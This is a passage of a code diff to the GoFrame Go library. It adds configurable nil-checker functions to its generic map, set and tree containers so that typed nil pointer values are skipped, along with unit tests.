+	data       map[K]V
+	nilChecker NilChecker[V]
 }
 
 // NewKVMap creates and returns an empty hash map.
-// The parameter `safe` is used to specify whether to use the map in concurrent-safety mode,
-// which is false by default.
+// The parameter `safe` is used to specify whether to use the map in concurrent-safety mode, which is false by default.
 func NewKVMap[K comparable, V any](safe ...bool) *KVMap[K, V] {
 	return NewKVMapFrom(make(map[K]V), safe...)
 }
 
+// NewKVMapWithChecker creates and returns an empty hash map with a custom nil checker.
+// The parameter `checker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether to use the map in concurrent-safety mode, which is false by default.
+func NewKVMapWithChecker[K comparable, V any](checker NilChecker[V], safe ...bool) *KVMap[K, V] {
+	return NewKVMapWithCheckerFrom(make(map[K]V), checker, safe...)
+}
+
 // NewKVMapFrom creates and returns a hash map from given map `data`.
 // Note that, the param `data` map will be set as the underlying data map (no deep copy),
 // there might be some concurrent-safe issues when changing the map outside.
@@ -41,6 +51,37 @@ func NewKVMapFrom[K comparable, V any](data map[K]V, safe ...bool) *KVMap[K, V]
 	return m
 }
 
+// NewKVMapWithCheckerFrom creates and returns a hash map from given map `data` with a custom nil checker.
+// Note that, the param `data` map will be set as the underlying data map (no deep copy),
+// and there might be some concurrent-safe issues when changing the map outside.
+// The parameter `checker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether to use the map in concurrent-safety mode, which is false by default.
+func NewKVMapWithCheckerFrom[K comparable, V any](data map[K]V, checker NilChecker[V], safe ...bool) *KVMap[K, V] {
+	m := NewKVMapFrom[K, V](data, safe...)
+	m.RegisterNilChecker(checker)
+	return m
+}
+
+// RegisterNilChecker registers a custom nil checker function for the map values.
+// This function is used to determine if a value should be considered as nil.
+// The nil checker function takes a value of type V and returns a boolean indicating
+// whether the value should be treated as nil.
+func (m *KVMap[K, V]) RegisterNilChecker(nilChecker NilChecker[V]) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (m *KVMap[K, V]) isNil(v V) bool {
+	if m.nilChecker != nil {
+		return m.nilChecker(v)
+	}
+	return any(v) == nil
+}
+
 // Iterator iterates the hash map readonly with custom callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (m *KVMap[K, V]) Iterator(f func(k K, v V) bool) {
@@ -217,8 +258,7 @@ func (m *KVMap[K, V]) doSetWithLockCheck(key K, value V) (val V, ok bool) {
 	if v, ok := m.data[key]; ok {
 		return v, true
 	}
-
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = value
 	}
 	return value, false
@@ -255,7 +295,7 @@ func (m *KVMap[K, V]) GetOrSetFuncLock(key K, f func() V) V {
 		return v
 	}
 	value := f()
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = value
 	}
 	return value

container/gmap/gmap_list_k_v_map.go

@@ -27,9 +27,10 @@ import (
 //
 // Reference: http://en.wikipedia.org/wiki/Associative_array
 type ListKVMap[K comparable, V any] struct {
-	mu   rwmutex.RWMutex
-	data map[K]*glist.TElement[*gListKVMapNode[K, V]]
-	list *glist.TList[*gListKVMapNode[K, V]]
+	mu         rwmutex.RWMutex
+	data       map[K]*glist.TElement[*gListKVMapNode[K, V]]
+	list       *glist.TList[*gListKVMapNode[K, V]]
+	nilChecker NilChecker[V]
 }
 
 type gListKVMapNode[K comparable, V any] struct {
@@ -49,6 +50,16 @@ func NewListKVMap[K comparable, V any](safe ...bool) *ListKVMap[K, V] {
 	}
 }
 
+// NewListKVMapWithChecker creates and returns a new ListKVMap instance with a custom nil checker.
+// The parameter `checker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether using map in concurrent-safety,
+// which is false by default.
+func NewListKVMapWithChecker[K comparable, V any](checker NilChecker[V], safe ...bool) *ListKVMap[K, V] {
+	m := NewListKVMap[K, V](safe...)
+	m.RegisterNilChecker(checker)
+	return m
+}
+
 // NewListKVMapFrom returns a link map from given map `data`.
 // Note that, the param `data` map will be copied to the underlying data structure,
 // so changes to the original map will not affect the link map.
@@ -58,6 +69,38 @@ func NewListKVMapFrom[K comparable, V any](data map[K]V, safe ...bool) *ListKVMa
 	return m
 }
 
+// NewListKVMapWithCheckerFrom returns a link map from given map `data` with a custom nil checker.
+// Note that, the param `data` map will be copied to the underlying data structure,
+// so changes to the original map will not affect the link map.
+// The parameter `checker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether using map in concurrent-safety,
+// which is false by default.
+func NewListKVMapWithCheckerFrom[K comparable, V any](data map[K]V, nilChecker NilChecker[V], safe ...bool) *ListKVMap[K, V] {
+	m := NewListKVMapWithChecker[K, V](nilChecker, safe...)
+	m.Sets(data)
+	return m
+}
+
+// RegisterNilChecker registers a custom nil checker function for the map values.
+// This function is used to determine if a value should be considered as nil.
+// The nil checker function takes a value of type V and returns a boolean indicating
+// whether the value should be treated as nil.
+func (m *ListKVMap[K, V]) RegisterNilChecker(nilChecker NilChecker[V]) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (m *ListKVMap[K, V]) isNil(v V) bool {
+	if m.nilChecker != nil {
+		return m.nilChecker(v)
+	}
+	return any(v) == nil
+}
+
 // Iterator is alias of IteratorAsc.
 func (m *ListKVMap[K, V]) Iterator(f func(key K, value V) bool) {
 	m.IteratorAsc(f)
@@ -282,7 +325,7 @@ func (m *ListKVMap[K, V]) doSetWithLockCheckWithoutLock(key K, value V) V {
 	if e, ok := m.data[key]; ok {
 		return e.Value.value
 	}
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = m.list.PushBack(&gListKVMapNode[K, V]{key, value})
 	}
 	return value
@@ -327,7 +370,7 @@ func (m *ListKVMap[K, V]) GetOrSetFuncLock(key K, f func() V) V {
 		return e.Value.value
 	}
 	value := f()
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = m.list.PushBack(&gListKVMapNode[K, V]{key, value})
 	}
 	return value
@@ -370,7 +413,7 @@ func (m *ListKVMap[K, V]) SetIfNotExist(key K, value V) bool {
 	if _, ok := m.data[key]; ok {
 		return false
 	}
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = m.list.PushBack(&gListKVMapNode[K, V]{key, value})
 	}
 	return true
@@ -390,7 +433,7 @@ func (m *ListKVMap[K, V]) SetIfNotExistFunc(key K, f func() V) bool {
 		return false
 	}
 	value := f()
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = m.list.PushBack(&gListKVMapNode[K, V]{key, value})
 	}
 	return true
@@ -413,7 +456,7 @@ func (m *ListKVMap[K, V]) SetIfNotExistFuncLock(key K, f func() V) bool {
 		return false
 	}
 	value := f()
-	if any(value) != nil {
+	if !m.isNil(value) {
 		m.data[key] = m.list.PushBack(&gListKVMapNode[K, V]{key, value})
 	}
 	return true

container/gmap/gmap_z_unit_k_v_map_test.go

@@ -1630,3 +1630,67 @@ func Test_KVMap_Flip_String(t *testing.T) {
 		t.Assert(m.Get("val2"), "key2")
 	})
 }
+
+// Test TypedNil with custom nil checker for pointers
+func Test_KVMap_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		m1 := gmap.NewKVMap[int, *Student](true)
+		for i := 0; i < 10; i++ {
+			m1.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m1.Size(), 10)
+		m2 := gmap.NewKVMap[int, *Student](true)
+		m2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		for i := 0; i < 10; i++ {
+			m2.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m2.Size(), 5)
+	})
+}
+
+func Test_NewKVMapWithChecker_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		m1 := gmap.NewKVMap[int, *Student](true)
+		for i := 0; i < 10; i++ {
+			m1.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m1.Size(), 10)
+		m2 := gmap.NewKVMapWithChecker[int, *Student](func(student *Student) bool {
+			return student == nil
+		}, true)
+		for i := 0; i < 10; i++ {
+			m2.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m2.Size(), 5)
+	})
+}

container/gmap/gmap_z_unit_list_k_v_map_test.go

@@ -1341,3 +1341,67 @@ func Test_ListKVMap_UnmarshalValue_NilData(t *testing.T) {
 		t.Assert(m.Get("b"), "2")
 	})
 }
+
+// Test typed nil values
+func Test_ListKVMap_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		m1 := gmap.NewListKVMap[int, *Student](true)
+		for i := 0; i < 10; i++ {
+			m1.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m1.Size(), 10)
+		m2 := gmap.NewListKVMap[int, *Student](true)
+		m2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		for i := 0; i < 10; i++ {
+			m2.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m2.Size(), 5)
+	})
+}
+
+func Test_NewListKVMapWithChecker_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		m1 := gmap.NewListKVMap[int, *Student](true)
+		for i := 0; i < 10; i++ {
+			m1.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m1.Size(), 10)
+		m2 := gmap.NewListKVMapWithChecker[int, *Student](func(student *Student) bool {
+			return student == nil
+		}, true)
+		for i := 0; i < 10; i++ {
+			m2.GetOrSetFuncLock(i, func() *Student {
+				if i%2 == 0 {
+					return &Student{}
+				}
+				return nil
+			})
+		}
+		t.Assert(m2.Size(), 5)
+	})
+}

container/gset/gset_t_set.go

@@ -15,10 +15,14 @@ import (
 	"github.com/gogf/gf/v2/util/gconv"
 )
 
+// NilChecker is a function that checks whether the given value is nil.
+type NilChecker[T any] func(T) bool
+
 // TSet[T] is consisted of any items.
 type TSet[T comparable] struct {
-	mu   rwmutex.RWMutex
-	data map[T]struct{}
+	mu         rwmutex.RWMutex
+	data       map[T]struct{}
+	nilChecker NilChecker[T]
 }
 
 // NewTSet creates and returns a new set, which contains un-repeated items.
@@ -30,6 +34,15 @@ func NewTSet[T comparable](safe ...bool) *TSet[T] {
 	}
 }
 
+// NewTSetWithChecker creates and returns a new set with a custom nil checker.
+// The parameter `nilChecker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether using set in concurrent-safety mode.
+func NewTSetWithChecker[T comparable](checker NilChecker[T], safe ...bool) *TSet[T] {
+	s := NewTSet[T](safe...)
+	s.RegisterNilChecker(checker)
+	return s
+}
+
 // NewTSetFrom returns a new set from `items`.
 // `items` - A slice of type T.
 func NewTSetFrom[T comparable](items []T, safe ...bool) *TSet[T] {
@@ -43,6 +56,36 @@ func NewTSetFrom[T comparable](items []T, safe ...bool) *TSet[T] {
 	}
 }
 
+// NewTSetWithCheckerFrom returns a new set from `items` with a custom nil checker.
+// The parameter `items` is a slice of elements to be added to the set.
+// The parameter `checker` is a function used to determine if a value is nil.
+// The parameter `safe` is used to specify whether using set in concurrent-safety mode.
+func NewTSetWithCheckerFrom[T comparable](items []T, checker NilChecker[T], safe ...bool) *TSet[T] {
+	set := NewTSetWithChecker[T](checker, safe...)
+	set.Add(items...)
+	return set
+}
+
+// RegisterNilChecker registers a custom nil checker function for the set elements.
+// This function is used to determine if an element should be considered as nil.
+// The nil checker function takes an element of type T and returns a boolean indicating
+// whether the element should be treated as nil.
+func (set *TSet[T]) RegisterNilChecker(nilChecker NilChecker[T]) {
+	set.mu.Lock()
+	defer set.mu.Unlock()
+	set.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (set *TSet[T]) isNil(v T) bool {
+	if set.nilChecker != nil {
+		return set.nilChecker(v)
+	}
+	return any(v) == nil
+}
+
 // Iterator iterates the set readonly with given callback function `f`,
 // if `f` returns true then continue iterating; or false to stop.
 func (set *TSet[T]) Iterator(f func(v T) bool) {
@@ -56,13 +99,13 @@ func (set *TSet[T]) Iterator(f func(v T) bool) {
 // Add adds one or multiple items to the set.
 func (set *TSet[T]) Add(items ...T) {
 	set.mu.Lock()
+	defer set.mu.Unlock()
 	if set.data == nil {
 		set.data = make(map[T]struct{})
 	}
 	for _, v := range items {
 		set.data[v] = struct{}{}
 	}
-	set.mu.Unlock()
 }
 
 // AddIfNotExist checks whether item exists in the set,
@@ -71,7 +114,7 @@ func (set *TSet[T]) Add(items ...T) {
 //
 // Note that, if `item` is nil, it does nothing and returns false.
 func (set *TSet[T]) AddIfNotExist(item T) bool {
-	if any(item) == nil {
+	if set.isNil(item) {
 		return false
 	}
 	if !set.Contains(item) {
@@ -95,7 +138,7 @@ func (set *TSet[T]) AddIfNotExist(item T) bool {
 // Note that, if `item` is nil, it does nothing and returns false. The function `f`
 // is executed without writing lock.
 func (set *TSet[T]) AddIfNotExistFunc(item T, f func() bool) bool {
-	if any(item) == nil {
+	if set.isNil(item) {
 		return false
 	}
 	if !set.Contains(item) {
@@ -121,7 +164,7 @@ func (set *TSet[T]) AddIfNotExistFunc(item T, f func() bool) bool {
 // Note that, if `item` is nil, it does nothing and returns false. The function `f`
 // is executed within writing lock.
 func (set *TSet[T]) AddIfNotExistFuncLock(item T, f func() bool) bool {
-	if any(item) == nil {
+	if set.isNil(item) {
 		return false
 	}
 	if !set.Contains(item) {

container/gset/gset_z_unit_t_set_test.go

@@ -591,3 +591,42 @@ func TestTSet_RLockFunc(t *testing.T) {
 		t.Assert(sum, 6)
 	})
 }
+
+func Test_TSet_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		set := gset.NewTSet[*Student](true)
+		var s *Student = nil
+		exist := set.AddIfNotExist(s)
+		t.Assert(exist, true)
+
+		set2 := gset.NewTSet[*Student](true)
+		set2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		exist2 := set2.AddIfNotExist(s)
+		t.Assert(exist2, false)
+	})
+}
+
+func Test_NewTSetWithChecker_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		set := gset.NewTSet[*Student](true)
+		var s *Student = nil
+		exist := set.AddIfNotExist(s)
+		t.Assert(exist, true)
+
+		set2 := gset.NewTSetWithChecker[*Student](func(student *Student) bool {
+			return student == nil
+		}, true)
+		exist2 := set2.AddIfNotExist(s)
+		t.Assert(exist2, false)
+	})
+}

container/gtree/gtree_k_v_avltree.go

@@ -18,11 +18,15 @@ import (
 	"github.com/gogf/gf/v2/util/gconv"
 )
 
+// NilChecker is a function that checks whether the given value is nil.
+type NilChecker[V any] func(V) bool
+
 // AVLKVTree holds elements of the AVL tree.
 type AVLKVTree[K comparable, V any] struct {
 	mu         rwmutex.RWMutex
 	comparator func(v1, v2 K) int
 	tree       *avltree.Tree[K, V]
+	nilChecker NilChecker[V]
 }
 
 // AVLKVTreeNode is a single element within the tree.
@@ -43,6 +47,15 @@ func NewAVLKVTree[K comparable, V any](comparator func(v1, v2 K) int, safe ...bo
 	}
 }
 
+// NewAVLKVTreeWithChecker instantiates an AVL tree with the custom key comparator and nil checker.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewAVLKVTreeWithChecker[K comparable, V any](comparator func(v1, v2 K) int, checker NilChecker[V], safe ...bool) *AVLKVTree[K, V] {
+	t := NewAVLKVTree[K, V](comparator, safe...)
+	t.RegisterNilChecker(checker)
+	return t
+}
+
 // NewAVLKVTreeFrom instantiates an AVL tree with the custom key comparator and data map.
 //
 // The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
@@ -54,6 +67,37 @@ func NewAVLKVTreeFrom[K comparable, V any](comparator func(v1, v2 K) int, data m
 	return tree
 }
 
+// NewAVLKVTreeWithCheckerFrom instantiates an AVL tree with the custom key comparator, nil checker and data map.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewAVLKVTreeWithCheckerFrom[K comparable, V any](comparator func(v1, v2 K) int, data map[K]V, checker NilChecker[V], safe ...bool) *AVLKVTree[K, V] {
+	tree := NewAVLKVTreeWithChecker[K, V](comparator, checker, safe...)
+	for k, v := range data {
+		tree.doSet(k, v)
+	}
+	return tree
+}
+
+// RegisterNilChecker registers a custom nil checker function for the map values.
+// This function is used to determine if a value should be considered as nil.
+// The nil checker function takes a value of type V and returns a boolean indicating
+// whether the value should be treated as nil.
+func (tree *AVLKVTree[K, V]) RegisterNilChecker(nilChecker NilChecker[V]) {
+	tree.mu.Lock()
+	defer tree.mu.Unlock()
+	tree.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (tree *AVLKVTree[K, V]) isNil(value V) bool {
+	if tree.nilChecker != nil {
+		return tree.nilChecker(value)
+	}
+	return any(value) == nil
+}
+
 // Clone clones and returns a new tree from current tree.
 func (tree *AVLKVTree[K, V]) Clone() *AVLKVTree[K, V] {
 	if tree == nil {
@@ -518,7 +562,7 @@ func (tree *AVLKVTree[K, V]) Flip(comparator ...func(v1, v2 K) int) {
 //
 // It returns value with given `key`.
 func (tree *AVLKVTree[K, V]) doSet(key K, value V) V {
-	if any(value) == nil {
+	if tree.isNil(value) {
 		return value
 	}
 	tree.tree.Put(key, value)

container/gtree/gtree_k_v_btree.go

@@ -24,6 +24,7 @@ type BKVTree[K comparable, V any] struct {
 	comparator func(v1, v2 K) int
 	m          int // order (maximum number of children)
 	tree       *btree.Tree[K, V]
+	nilChecker NilChecker[V]
 }
 
 // BKVTreeEntry represents the key-value pair contained within nodes.
@@ -45,6 +46,15 @@ func NewBKVTree[K comparable, V any](m int, comparator func(v1, v2 K) int, safe
 	}
 }
 
+// NewBKVTreeWithChecker instantiates a B-tree with `m` (maximum number of children), a custom key comparator and nil checker.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewBKVTreeWithChecker[K comparable, V any](m int, comparator func(v1, v2 K) int, checker NilChecker[V], safe ...bool) *BKVTree[K, V] {
+	t := NewBKVTree[K, V](m, comparator, safe...)
+	t.RegisterNilChecker(checker)
+	return t
+}
+
 // NewBKVTreeFrom instantiates a B-tree with `m` (maximum number of children), a custom key comparator and data map.
 // The parameter `safe` is used to specify whether using tree in concurrent-safety,
 // which is false in default.
@@ -56,6 +66,37 @@ func NewBKVTreeFrom[K comparable, V any](m int, comparator func(v1, v2 K) int, d
 	return tree
 }
 
+// NewBKVTreeWithCheckerFrom instantiates a B-tree with `m` (maximum number of children), a custom key comparator, nil checker and data map.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewBKVTreeWithCheckerFrom[K comparable, V any](m int, comparator func(v1, v2 K) int, data map[K]V, checker NilChecker[V], safe ...bool) *BKVTree[K, V] {
+	tree := NewBKVTreeWithChecker[K, V](m, comparator, checker, safe...)
+	for k, v := range data {
+		tree.doSet(k, v)
+	}
+	return tree
+}
+
+// RegisterNilChecker registers a custom nil checker function for the map values.
+// This function is used to determine if a value should be considered as nil.
+// The nil checker function takes a value of type V and returns a boolean indicating
+// whether the value should be treated as nil.
+func (tree *BKVTree[K, V]) RegisterNilChecker(nilChecker NilChecker[V]) {
+	tree.mu.Lock()
+	defer tree.mu.Unlock()
+	tree.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (tree *BKVTree[K, V]) isNil(value V) bool {
+	if tree.nilChecker != nil {
+		return tree.nilChecker(value)
+	}
+	return any(value) == nil
+}
+
 // Clone clones and returns a new tree from current tree.
 func (tree *BKVTree[K, V]) Clone() *BKVTree[K, V] {
 	if tree == nil {
@@ -453,7 +494,7 @@ func (tree *BKVTree[K, V]) Right() *BKVTreeEntry[K, V] {
 //
 // It returns value with given `key`.
 func (tree *BKVTree[K, V]) doSet(key K, value V) V {
-	if any(value) == nil {
+	if tree.isNil(value) {
 		return value
 	}
 	tree.tree.Put(key, value)

container/gtree/gtree_k_v_redblacktree.go

@@ -24,6 +24,7 @@ type RedBlackKVTree[K comparable, V any] struct {
 	mu         rwmutex.RWMutex
 	comparator func(v1, v2 K) int
 	tree       *redblacktree.Tree[K, V]
+	nilChecker NilChecker[V]
 }
 
 // RedBlackKVTreeNode is a single element within the tree.
@@ -41,6 +42,15 @@ func NewRedBlackKVTree[K comparable, V any](comparator func(v1, v2 K) int, safe
 	return &tree
 }
 
+// NewRedBlackKVTreeWithChecker instantiates a red-black tree with the custom key comparator and `nilChecker`.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewRedBlackKVTreeWithChecker[K comparable, V any](comparator func(v1, v2 K) int, checker NilChecker[V], safe ...bool) *RedBlackKVTree[K, V] {
+	t := NewRedBlackKVTree[K, V](comparator, safe...)
+	t.RegisterNilChecker(checker)
+	return t
+}
+
 // NewRedBlackKVTreeFrom instantiates a red-black tree with the custom key comparator and `data` map.
 // The parameter `safe` is used to specify whether using tree in concurrent-safety,
 // which is false in default.
@@ -50,6 +60,17 @@ func NewRedBlackKVTreeFrom[K comparable, V any](comparator func(v1, v2 K) int, d
 	return &tree
 }
 
+// NewRedBlackKVTreeWithCheckerFrom instantiates a red-black tree with the custom key comparator, `data` map and `nilChecker`.
+// The parameter `safe` is used to specify whether using tree in concurrent-safety, which is false in default.
+// The parameter `checker` is used to specify whether the given value is nil.
+func NewRedBlackKVTreeWithCheckerFrom[K comparable, V any](comparator func(v1, v2 K) int, data map[K]V, checker NilChecker[V], safe ...bool) *RedBlackKVTree[K, V] {
+	t := NewRedBlackKVTreeWithChecker[K, V](comparator, checker, safe...)
+	for k, v := range data {
+		t.doSet(k, v)
+	}
+	return t
+}
+
 // RedBlackKVTreeInit instantiates a red-black tree with the custom key comparator.
 // The parameter `safe` is used to specify whether using tree in concurrent-safety,
 // which is false in default.
@@ -75,6 +96,26 @@ func RedBlackKVTreeInitFrom[K comparable, V any](tree *RedBlackKVTree[K, V], com
 	}
 }
 
+// RegisterNilChecker registers a custom nil checker function for the map values.
+// This function is used to determine if a value should be considered as nil.
+// The nil checker function takes a value of type V and returns a boolean indicating
+// whether the value should be treated as nil.
+func (tree *RedBlackKVTree[K, V]) RegisterNilChecker(nilChecker NilChecker[V]) {
+	tree.mu.Lock()
+	defer tree.mu.Unlock()
+	tree.nilChecker = nilChecker
+}
+
+// isNil checks whether the given value is nil.
+// It first checks if a custom nil checker function is registered and uses it if available,
+// otherwise it performs a standard nil check using any(v) == nil.
+func (tree *RedBlackKVTree[K, V]) isNil(value V) bool {
+	if tree.nilChecker != nil {
+		return tree.nilChecker(value)
+	}
+	return any(value) == nil
+}
+
 // SetComparator sets/changes the comparator for sorting.
 func (tree *RedBlackKVTree[K, V]) SetComparator(comparator func(a, b K) int) {
 	tree.comparator = comparator
@@ -189,7 +230,7 @@ func (tree *RedBlackKVTree[K, V]) GetOrSetFunc(key K, f func() V) V {
 // GetOrSetFuncLock returns its `value` of `key`, or sets value with returned value of callback function `f` if it does
 // not exist and then returns this value.
 //
-// GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f`within mutex lock.
+// GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f` within mutex lock.
 func (tree *RedBlackKVTree[K, V]) GetOrSetFuncLock(key K, f func() V) V {
 	tree.mu.Lock()
 	defer tree.mu.Unlock()
@@ -592,7 +633,7 @@ func (tree *RedBlackKVTree[K, V]) UnmarshalValue(value any) (err error) {
 //
 // It returns value with given `key`.
 func (tree *RedBlackKVTree[K, V]) doSet(key K, value V) (ret V) {
-	if any(value) == nil {
+	if tree.isNil(value) {
 		return
 	}
 	tree.tree.Put(key, value)

container/gtree/gtree_redblacktree.go

@@ -46,7 +46,7 @@ func NewRedBlackTreeFrom(comparator func(v1, v2 any) int, data map[any]any, safe
 func (tree *RedBlackTree) lazyInit() {
 	tree.once.Do(func() {
 		if tree.RedBlackKVTree == nil {
-			tree.RedBlackKVTree = NewRedBlackKVTree[any, any](gutil.ComparatorTStr, false)
+			tree.RedBlackKVTree = NewRedBlackKVTree[any, any](gutil.ComparatorTStr[any], false)
 		}
 	})
 }

container/gtree/gtree_z_k_v_tree_test.go

@@ -0,0 +1,210 @@
+// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package gtree_test
+
+import (
+	"testing"
+
+	"github.com/gogf/gf/v2/container/gtree"
+	"github.com/gogf/gf/v2/test/gtest"
+	"github.com/gogf/gf/v2/util/gutil"
+)
+
+func Test_KVAVLTree_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		avlTree := gtree.NewAVLKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				avlTree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				avlTree.Set(i, s)
+			}
+		}
+		t.Assert(avlTree.Size(), 10)
+		avlTree2 := gtree.NewAVLKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+		avlTree2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				avlTree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				avlTree2.Set(i, s)
+			}
+		}
+		t.Assert(avlTree2.Size(), 5)
+
+	})
+}
+
+func Test_KVBTree_TypedNil(t *testing.T) {
+	type Student struct {
+		Name string
+		Age  int
+	}
+	gtest.C(t, func(t *gtest.T) {
+		btree := gtree.NewBKVTree[int, *Student](100, gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				btree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				btree.Set(i, s)
+			}
+		}
+		t.Assert(btree.Size(), 10)
+		btree2 := gtree.NewBKVTree[int, *Student](100, gutil.ComparatorTStr[int], true)
+		btree2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				btree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				btree2.Set(i, s)
+			}
+		}
+		t.Assert(btree2.Size(), 5)
+	})
+
+}
+
+func Test_KVRedBlackTree_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		redBlackTree := gtree.NewRedBlackKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				redBlackTree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				redBlackTree.Set(i, s)
+			}
+		}
+		t.Assert(redBlackTree.Size(), 10)
+		redBlackTree2 := gtree.NewRedBlackKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+
+		redBlackTree2.RegisterNilChecker(func(student *Student) bool {
+			return student == nil
+		})
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				redBlackTree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				redBlackTree2.Set(i, s)
+			}
+		}
+		t.Assert(redBlackTree2.Size(), 5)
+	})
+}
+
+func Test_NewKVAVLTreeWithChecker_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		avlTree := gtree.NewAVLKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				avlTree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				avlTree.Set(i, s)
+			}
+		}
+		t.Assert(avlTree.Size(), 10)
+		avlTree2 := gtree.NewAVLKVTreeWithChecker[int, *Student](gutil.ComparatorTStr[int], func(student *Student) bool {
+			return student == nil
+		}, true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				avlTree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				avlTree2.Set(i, s)
+			}
+		}
+		t.Assert(avlTree2.Size(), 5)
+
+	})
+}
+
+func Test_NewKVBTreeWithChecker_TypedNil(t *testing.T) {
+	type Student struct {
+		Name string
+		Age  int
+	}
+	gtest.C(t, func(t *gtest.T) {
